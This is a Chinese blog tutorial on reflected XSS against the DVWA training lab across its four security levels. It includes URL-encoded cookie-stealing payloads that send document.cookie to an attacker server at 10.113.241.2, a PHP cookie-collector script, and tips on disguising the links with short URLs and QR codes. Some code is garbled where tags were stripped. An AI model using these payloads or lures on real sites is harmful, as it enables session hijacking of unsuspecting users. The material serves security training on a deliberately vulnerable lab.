DVWA靶机-反射性XSS漏洞(Reflected)

DVWA靶机-反射性XSS漏洞(Reflected)

DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级

DVWA靶机-命令注入漏洞(Command Injection)

DVWA靶机-文件包含漏洞(File Inclusion)

DVWA靶机-文件上传漏洞(File uploads)

DVWA靶机-跨站请求伪造(CSRF)

XSS跨站脚本攻击

XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。

XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限私密网页内容会话cookie等。

这种行为最初出现之时,所有的XSS攻击案例都是跨域行为,所以叫做跨站脚本。时至今日,随着WEB端功能的复杂化,应用化,是否跨站已经不重要但是XSS这个名字依然留存下来。

反射性XSS挖掘方法

1.反射型XSS漏洞可能存在的环境

我们在许多网页中可能都有搜索栏,在搜索栏中输入关键词查找后,页面回回显全部的或者部分的关键词,且在url中也会出现该关键词,此时该网页可能就存在反射性XSS漏洞。
DVWA靶机-反射性XSS漏洞(Reflected)_第1张图片
此时可以做一个简单的测试,测试是否为GET型传参
alert()函数: 弹窗函数

<script>alert(1)</script>

DVWA靶机-反射性XSS漏洞(Reflected)_第2张图片

2.漏洞检验-恶意代码化

此时漏洞就发现了,我们可以编辑恶意型的代码插入url中执行.

3.生成链接,诱导被攻击者点击

当发现这个漏洞后,我们需要对插入了恶意代码的链接进行变形、比如长链接变短链接长链接变二维码图片链接等,目的就是要诱导用户来点击该链接,从而达成攻击的效果。
DVWA靶机-反射性XSS漏洞(Reflected)_第3张图片

1.DVWA-LOW等级下的反射型XSS漏洞

(1).本地用户登录,测试XSS漏洞所在位置

在LOW等级下,Reflectd型XSS的页面回显如下,在搜索栏里输入123,页面回显123,且在url中123也出现,此时该页面可能存在反射型XSS漏洞,同时也不存在任何防护的安全策略,我们可以实施攻击。
DVWA靶机-反射性XSS漏洞(Reflected)_第4张图片
可以查到搜索栏的源代码
DVWA靶机-反射性XSS漏洞(Reflected)_第5张图片
在回显Hello 123时使用的为

Hello 123

此时我们可以考虑打破
的闭合,在输入中加入其它函数或者标签。
alert() && confirm() && prompt()函数: 都为弹窗函数

我们在url中name后面加入打破

闭合,此时alert()函数执行,弹出1

DVWA靶机-反射性XSS漏洞(Reflected)_第6张图片
此时可以进行一些有攻击性的操作,我们在url中构造出获取被攻击者cookie值的函数,盗取用户的cookie值。

(2).构造恶意链接、盗取用户cookie

document.location: 指定cookie传送站点
10.113.241.2: 为攻击者服务器
document.cookie: 获取当前用户的cookie值

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=

xss.php:为LOW等级获取cookie的处理方法

//xss.php

    $cookie = $_GET['cookie'];	//获取cookie变量的值
	$log = fopen("cookie.txt","w");	//创建并打开一个cookie.txt的文本权限为写入
    fwrite($log,$cookie."\n");	//把cookie的值写入创建的文本
	fclose($log);	//关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss.php文件,xss.php中定义文件操作,将获取的cookie写入cookie.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E

被攻击者点击该链接后就会弹窗到如下页面
DVWA靶机-反射性XSS漏洞(Reflected)_第7张图片
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。

图中为用户点击恶意链接后在攻击者本地生成的cookie.txt文件,里面已经写入了用户的cookie值。
DVWA靶机-反射性XSS漏洞(Reflected)_第8张图片
DVWA靶机-反射性XSS漏洞(Reflected)_第9张图片

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这块,由于之前的cookie,我在浏览器中清除了一次,在此处为了演示步骤,直接用cookie值连接,原理相同
DVWA靶机-反射性XSS漏洞(Reflected)_第10张图片
LOW 等级下的反射性XSS源码:
XSS (Reflected) Source:

array_key_exists()函数: 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false

array_key_exists(key,array):key和array都是必须存在的,key为规定键名,array为规定数组。

在源终GET得到的值是以数组的形式,然后判断GET得到的name是不是空,不为空,执行echo语句。



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>

2.DVWA-Medium等级下的反射型XSS漏洞

(1).漏洞测试

在Medium等级下,必然存在着一些过滤策略,同low等级一样,漏洞的位置是一样的

此时我们用alert()函数,弹窗函数,测试是否能利用标签是否可用
DVWA靶机-反射性XSS漏洞(Reflected)_第11张图片
此时发现alert()函数不能弹窗,且页面回显alert(1),此时我们可以分析到未能起到作用,应该是被过滤,我们查看Medium等级下的源码

XSS (Reflected) Source:
str_repalce()函数: 在此处过滤了标签,将GET中输入中的script标签替换为空



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '

low等级不同的是,

xss1.php:为Medium等级下获取cookie的处理方法
创建的用户保存用户cookie的文档为,cookie1.txt文档

//xss1.php

    $cookie = $_GET['cookie'];	//获取cookie变量的值
	$log = fopen("cookie1.txt","w");	//创建并打开一个cookie1.txt的文本权限为写入
    fwrite($log,$cookie."\n");	//把cookie的值写入创建的文本
	fclose($log);	//关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss1.php文件,xss1.php中定义文件操作,将获取的cookie写入cookie1.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E

DVWA靶机-反射性XSS漏洞(Reflected)_第13张图片
要使该链接变的更加有迷惑性,可以进行长短链接的变换链接生成二维码,或者具有诱惑性的图片链接等。

此时cookie1.txt中已经写入cookie值
DVWA靶机-反射性XSS漏洞(Reflected)_第14张图片
DVWA靶机-反射性XSS漏洞(Reflected)_第15张图片

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

DVWA靶机-反射性XSS漏洞(Reflected)_第16张图片

3.DVWA-High等级下的反射性XSS漏洞

在High等级下必然定义了比Medium等级更强的安全策略,我们查看其源码
High等级下的反射性XSS源码:
preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"
; } ?>

绕过方法:

使用其他的标签,
img调用图片,在此处,当图片的src所指的路径不存在图片,则弹出对话框,回显1
DVWA靶机-反射性XSS漏洞(Reflected)_第17张图片
由于preg_replace()函数,此时像low和medium等级的构造恶意链接方式不可用

4.impossible等级

impossible等级防范XSS反射型的一个案例,相当强大

impossible等级源码:
impossible Reflected XSS Source:

htmlspecialchars()函数: 将特殊字符转换为 HTML 实体
token机制: 随机值



// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "
Hello ${name}
"
; } // Generate Anti-CSRF token generateSessionToken(); ?>

你可能感兴趣的:(渗透测试-DVWA靶机)